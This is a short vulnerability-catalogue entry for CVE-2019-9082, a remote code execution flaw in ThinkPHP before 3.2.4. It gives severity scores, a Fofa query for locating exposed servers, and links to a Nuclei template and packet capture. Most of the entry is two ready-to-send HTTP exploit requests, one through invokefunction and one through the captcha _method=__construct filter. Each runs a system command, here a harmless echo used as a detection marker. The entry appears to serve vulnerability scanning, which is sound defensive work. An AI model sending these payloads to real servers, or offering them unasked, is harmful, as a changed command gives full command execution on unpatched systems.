| Title | ThinkPHP < 3.2.4 - Remote Code Execution |
|---|---|
| Author | 0xanis |
| Severity | High |
| Impact | Attackers can execute arbitrary system commands true the server without authentication, potentially leading to full system compromise. |
| Remediation | Update to ThinkPHP 3.2.4 or later, or apply vendor patches. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93965 |
| CWE ID | CWE-94 |
| Fofa Query | app="ThinkPHP" |
| Tags | cve cve2019 thinkphp open_source_bms none_cms rce kev vkev |
ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20thinkphp%20%7C%20rev HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php?s=captcha HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.20
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20thinkphp%20%7C%20rev
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9082.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9082.pcap
N/AN/A